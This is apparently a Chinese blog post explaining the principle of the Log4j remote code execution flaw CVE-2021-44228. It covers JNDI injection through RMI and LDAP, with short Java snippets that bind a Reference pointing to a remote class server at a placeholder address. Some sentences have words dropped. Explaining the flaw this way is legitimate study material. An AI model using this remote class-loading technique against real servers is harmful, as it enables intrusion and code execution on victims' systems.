您的位置  > 互联网

远程代码执行漏洞(cve-2021-44228)复现

要了解这个rce的原理,首先我们要知道什么是JNDI,什么是JNDI注入,什么是RMI,什么是LDAP……

本文只讲原理。 具体重现请前往:远程代码执行漏洞重现(cve-2021-44228)(反弹shell)

1.JNDI、RMI、LDAP、JNDI注入?

Java Name and:java命名和目录接口

它是Sun提供的标准Java命名系统接口。 JNDI提供统一的客户端API。 通过访问JNDI,可以根据命名服务或目录服务获取相应的资源。

说白了,其实JNDI只是重新封装了访问各种目录服务的逻辑。 以前访问LDAP和RMI要写的代码有很大不同,但是有了JNDI这一层(没有什么是再加一层不能解决的,有的话再加一层),就可以用JNDI了轻松访问 RMI 或 LDAP 服务。 访问代码基本相同(参考JDBC连接不同数据库)

LDAP可以简单的理解为一个存储目录,里面包含了我们想要的资源,而JNDI则是一种获取资源的途径或方法。

如上图所示,访问RMI时,只传递一个key foo,返回一个对象; 当访问LDAP等目录服务时,传递的键比较复杂,包含多个键值对,这些键值对是对象的属性。 ,LDAP根据这些属性决定返回哪个对象。

基本操作:

发布服务:bind() 将名称绑定到对象 通过名称查找资源:() 通过名称检索执行的对象

JNDI注入:

动态协议转换:JNDI已预先配置好初始化环境并设置属性。 但是,当()中传入的参数协议与初始化时配置的协议不一致时,会动态转换查找传入的参数,并且不会报错,所以当参数可控时,攻击者可以通过提供恶意URL地址,控制受害者加载攻击者指定的恶意类。

ctx.lookup("rmi://your-server/refObj");// 初始化的
//ctx.lookup("ldap://your-server/cn=bar,dc=test,dc=org");//实际上传进来的

命名引用:Java提供了(命名引用)功能,以便在(命名)或(目录)服务下存储对象。 对象可以存储在服务下,也可以通过绑定类来存储,例如RMI、LDAP等。

也就是说,存储的V可以是超链接。 我们根据K来查找V,找到后就去引用的地址,返回对应的资源。

总结:

外部资源可以存储在LDAP中,称为命名引用,与类相对应。 例如,对于远程HTTP服务的.class文件,如果JNDI客户端基于LDAP服务,找不到对应的资源,则会请求LDAP中指定的默认地址(初始配置)。 如果它是命名引用,则会下载该文件。 到本地。 如果下载的.class文件包含无参构造函数或静态代码块,则加载时会自动执行。 因为下载后会自动实例化。

使用时,我们可以直接将对象传入构造函数中。 当调用时,该对象的方法将被触发。 创建实例时的几个关键属性:

当然,要将一个对象绑定到rmi注册中心(前面提到过可以通过绑定类将对象存储在或服务下),这个对象需要继承,但又不是继承的,所以我们还需要对其进行封装、包裹单击实例对象,使其可以绑定到rmi注册表并进行远程访问。 演示如下:

Reference refObj = new Reference("refClassName","insClassName","http://ip:port/");
//第一个参数是远程加载时使用的类名,第二个参数是加载的class中需要实例化类的名称,第三个参数是远程class文件存放的地址
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj );//进行包装继承
registry.bind("refObj ",refObjWrapper );//发布服务,将键与值绑定起来

当客户端通过("")获取远程对象时,它获取的是一个存根。 由于是存根,客户端会首先检查该类本地是否存在。 如果不存在,就会去指定的类。 动态加载url(:port/.class)并调用无参构造函数,因此可以在构造函数中写入恶意代码。 当然,除了在无参构造函数中编写漏洞利用代码外,还可以使用Java代码块编写恶意代码,因为代码块中的代码会在类文件加载后立即执行,并且只执行一次。

听起来有点绕,其实上面已经提到过(总结2、3)

JNDI注入流程:

2. RCE原理

首先,log4j有四个级别的打印日志:debug、info、warn、error。 无论采用哪种方式打印日志,在正常的日志处理过程中,都会检测到两个相邻的字符${。 一旦遇到类似表达式结构的字符串就会触发替换机制。

一旦在日志字符串中检测到 ${},就会解析该字符串并尝试查询。 因此,只要能够控制日志参数内容,就有机会利用该漏洞。

所以最终会调用JNDI方法,所以了解JNDI的注入原理有助于理解这个漏洞的原因。

RCE原理:

3. 受影响版本

1.使用log4j组件,版本为2.x